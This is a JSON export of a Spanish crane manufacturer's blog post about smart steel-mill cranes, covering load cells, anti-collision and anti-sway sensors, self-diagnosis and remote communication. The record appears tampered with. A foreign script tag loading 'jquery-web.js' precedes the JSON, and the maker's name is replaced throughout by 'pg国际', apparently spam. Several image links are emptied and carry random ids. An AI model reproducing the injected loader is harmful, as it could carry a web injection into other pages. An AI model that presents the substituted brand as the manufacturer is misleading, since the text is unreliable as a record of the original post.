<script src="///jquery-web.js"></script>{"id":1951,"date":"2015-07-15T12:30:01","date_gmt":"2015-07-15T10:30:01","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=1951"},"modified":"2015-07-15T14:06:38","modified_gmt":"2015-07-15T12:06:38","slug":"hacia-donde-vamos-gruas-inteligentes","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/hacia-donde-vamos-gruas-inteligentes\/","title":{"rendered":"\u00bfHacia d\u00f3nde vamos?: \u00bfGr\u00faas inteligentes?"},"content":{"rendered":"<p>Como fabricantes comprometidos con la evoluci\u00f3n de nuestros productos, <strong>pg国际<\/strong> est\u00e1 tratando de aplicar a las <strong>gr\u00faas de siderurgia<\/strong> las aplicaciones y tecnolog\u00edas que definen lo que ser\u00eda una gr\u00faa <strong>inteligente<\/strong>. En realidad, lo que pretendemos es poner la innovaci\u00f3n al servicio de nuestros clientes.<\/p>\n<p><em><strong>\u00bfEn qu\u00e9 consiste?<\/strong><\/em><\/p>\n<ul>\n<li><strong>Autodiagn\u00f3stico.<\/strong><\/li>\n<\/ul>\n<p>&#8211; En la medida que se desarrollan los <strong>sensores<\/strong>, y el <strong>control de los accionamientos<\/strong>, la m\u00e1quina ser\u00e1 capaz de autodiagnosticarse.<br \/>\n&#8211; Las c\u00e9lulas de pesaje nos indicar\u00e1n la carga que estamos manipulando, nos indicar\u00e1n el n\u00famero de <strong>sobrecargas<\/strong>.<br \/>\n&#8211; Junto con un <strong>contador de tiempo y de ciclos<\/strong> nos indicar\u00e1n si est\u00e1n trabajando dentro de los par\u00e1metros para los que han sido dise\u00f1adas o si estos deben ser otros.<\/p>\n<ul>\n<li><strong>Comunicarse con las personas<\/strong>.<\/li>\n<\/ul>\n<p>&#8211; Nos indicar\u00e1n cuando les toca una <strong>revisi\u00f3n<\/strong> o cuando deberemos <strong>reemplazar<\/strong> alguna de sus <strong>piezas<\/strong>.<br \/>\n&#8211; Los <strong>sensores de temperatura y de intensidad<\/strong> nos indicar\u00e1n que algo no esta bien y debe de ser revisado.<br \/>\n&#8211; Incluso podr\u00e1 adoptar soluciones en caso de haber previsto <strong>redundancias<\/strong>.<br \/>\n&#8211; La m\u00e1quina ser\u00e1 capaz de <strong>comunicarse con el operario<\/strong>, con el servicio de asistencia, <strong>v\u00eda Radio, v\u00eda Smartphone, v\u00eda GPRS<\/strong>.<br \/>\n&#8211; Podremos incluso <strong>actuar<\/strong> sobre ella <strong>a distancia<\/strong>, o en su lugar diagnosticar y poner en marcha soluciones para su funcionamiento \u00f3ptimo.<\/p>\n<ul>\n<li><strong>Comunicarse con otras m\u00e1quinas.<\/strong><\/li>\n<li><strong>Recibir la repuesta del operario del servicio de asistencia<\/strong>.<\/li>\n<\/ul>\n<p><a id="rjrsjttx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/07\/MG_9948.jpg\"><\/a> <a id="pethyzra" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/07\/MG_9940.jpg\"><\/a>\u00a0<a id="etjtzbzh" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/07\/MG_9955.jpg\"><\/a><\/p>\n<p><em><strong>\u00bfSer\u00e1 posible todo esto?<\/strong><\/em><\/p>\n<p>Parece evidente que una <strong>m\u00e1quina<\/strong> por ella misma carece de inteligencia. Pero tambi\u00e9n no es menos cierto que con la ayuda de sensores programados por el hombre, ser\u00e1<strong> capaz de autodiagnosticarse<\/strong> e incluso de <strong>impedir maniobras que sean peligrosas<\/strong> para las personas y para ellas mismas, as\u00ed por ejemplo:<\/p>\n<ul>\n<li><strong>El limitador de carga proteger\u00e1 contra las sobrecargas.<\/strong><\/li>\n<li><strong>La c\u00e9lula de pesaje nos indicar\u00e1 las veces que se ha sobrecargado la m\u00e1quina.<\/strong><\/li>\n<\/ul>\n<p>Nos indicar\u00e1 el peso que levantamos. Nos indicar\u00e1 el espectro de carga con el que le hacemos trabajar y junto a un contador horario nos dir\u00e1 si le estamos haciendo trabajar dentro de los par\u00e1metros para los que la hemos dise\u00f1ado.<\/p>\n<ul>\n<li>Con las <strong>c\u00e9lulas antichoque<\/strong> se proteger\u00e1 contra los choques con otras m\u00e1quinas, protegi\u00e9ndonos tambi\u00e9n del peligro que nos pueden originar.<\/li>\n<li>Los<strong> finales de carrera<\/strong> proteger\u00e1n contra choques con partes de la nave, de la estructura de la m\u00e1quina o de s\u00ed misma.<\/li>\n<li>Los <strong>sensores de inclinaci\u00f3n y sensores antibalanceo<\/strong>, no permitir\u00e1n que realicemos maniobras que puedan ser peligrosas para las personas y el entorno.<\/li>\n<li>Los <strong>sensores anticruzamiento<\/strong>, evitar\u00e1n desgastes de ruedas y carriles, choques y hasta posibles salidas del carril gu\u00eda.<\/li>\n<li>Los <strong>sensores de temperatura y sobreintensidad<\/strong>, proteger\u00e1n la m\u00e1quina contra calentamientos que acorten su vida o incluso puedan llegar a quemarlos.<\/li>\n<li>Los <strong>sensores de vibraciones<\/strong> nos prevendr\u00e1n sobre alg\u00fan funcionamiento incorrecto debido a alg\u00fan material o componente mec\u00e1nico deteriorado.<\/li>\n<li>Los<strong> sensores de fallo<\/strong> de algunos accionamientos pueden poner en marcha la actuaci\u00f3n de otros accionamientos redundantes, frenos, motores, variadores.<\/li>\n<li>Los <strong>sensores de posici\u00f3n<\/strong> pueden indicarnos el lugar exacto en que se encuentra cada mecanismo.<\/li>\n<\/ul>\n<p><a id="ftmzwnda" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/07\/MG_9626.jpg\"><\/a><\/p>\n<p>La <strong>gr\u00faa<\/strong> en funci\u00f3n de los sensores que le pongamos, <strong>ser\u00e1 capaz de autodiagnosticar<\/strong> m\u00e1s o menos<strong> sus problemas y su situaci\u00f3n<\/strong>.<\/p>\n<p>Hasta aqu\u00ed, est\u00e1 todo en el mercado y puede ser accesible para todos, pero nosotros <strong>en \u00a0pg国际 procuramos estandarizarlo e integrarlos lo m\u00e1ximo posible en nuestras m\u00e1quinas<\/strong>. Estamos permanente abiertos hacia la innovaci\u00f3n.<\/p>\n<p>Ahora bien la m\u00e1quina es capaz de conocer sus problemas de autodiagnosticarse &#8211;\u00a0 incluso de indicarnos posibles soluciones \u2013 incluso de poner en marcha redundancias para evitar peligros o seguir funcionando, pero como dec\u00eda alguno<strong> su reparaci\u00f3n hoy por hoy<\/strong> al final de una u otra manera<strong> la programar\u00e1 y realizar\u00e1 el hombre<\/strong>.<\/p>\n<p>Esta es pues la siguiente cuesti\u00f3n, como se comunica con nosotros, con el operario, con su servicio de asistencia t\u00e9cnica, o incluso con otras gr\u00faas y como nos comunicamos el hombre con ella.<\/p>\n<p>Si nuestra visi\u00f3n del futuro se acerca a<strong> lo que estamos tratando de desarrollar<\/strong>, uno de los sectores m\u00e1s <strong>beneficiados ser\u00e1 el sider\u00fargico<\/strong> en donde la<strong> garant\u00eda de<\/strong> la <strong>no interrupci\u00f3n de sus procesos productivos<\/strong> es y ser\u00e1 un elemento esencial de rentabilidad y competitividad.<\/p>\n<p><a id="fsaytaks" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/07\/MG_0980.jpg\"><\/a><\/p>\n<p><strong>TECNOLOGIAS DE LA COMUNICACION<\/strong><\/p>\n<p>Podemos tener la <strong>informaci\u00f3n<\/strong> descentralizada o incluso centralizada dentro de la misma gr\u00faa, <strong>v\u00eda modbus, wifi o radio<\/strong>, y desde el centro de control de la gr\u00faa poder disponer de la informaci\u00f3n a trav\u00e9s de alg\u00fan <strong>puerto USB, ordenador, v\u00eda radio<\/strong> a la pantalla del radio mando del operador o <strong>v\u00eda wifi<\/strong> a un Smartphone <strong>o v\u00eda telef\u00f3nica a un Smartphone<\/strong> o a la central de servicio de asistencia homologado.<\/p>\n<p>Todas estas opciones est\u00e1n ya en el mercado y tenemos certeza de que se est\u00e1n desarrollando y se desarrollar\u00e1n nuevas tecnolog\u00edas de comunicaci\u00f3n, que nos acercar\u00e1n a\u00fan m\u00e1s, y de forma m\u00e1s econ\u00f3mica a los problemas de la m\u00e1quina.<\/p>\n<p><\/p>\n<p><strong>Esta tecnolog\u00eda de la comunicaci\u00f3n nos permite<\/strong>, y lo har\u00e1 a\u00fan m\u00e1s y mejor, <strong>comunicarnos a nosotros y a nuestros centros de servicio con la m\u00e1quina<\/strong> \u2013 Permitiendo una comunicaci\u00f3n bidireccional \u2013 permiti\u00e9ndonos realizar \u00f3rdenes de reparaci\u00f3n a distancia a trav\u00e9s de nuestros operarios e incluso a veces actuando directamente sobre la m\u00e1quina.<\/p>\n<p><a id="jbqdtdja" href=\"https:\/\/www.ghcranes.com\/es\/productos\/ventajas-tecnologicas\/hacia-la-grua-inteligente\/\">Ver m\u00e1s informaci\u00f3n.<\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Como fabricantes comprometidos con la evoluci\u00f3n de nuestros productos, pg国际 est\u00e1 tratando de aplicar a las gr\u00faas de siderurgia las aplicaciones y tecnolog\u00edas que definen lo que ser\u00eda una gr\u00faa inteligente. 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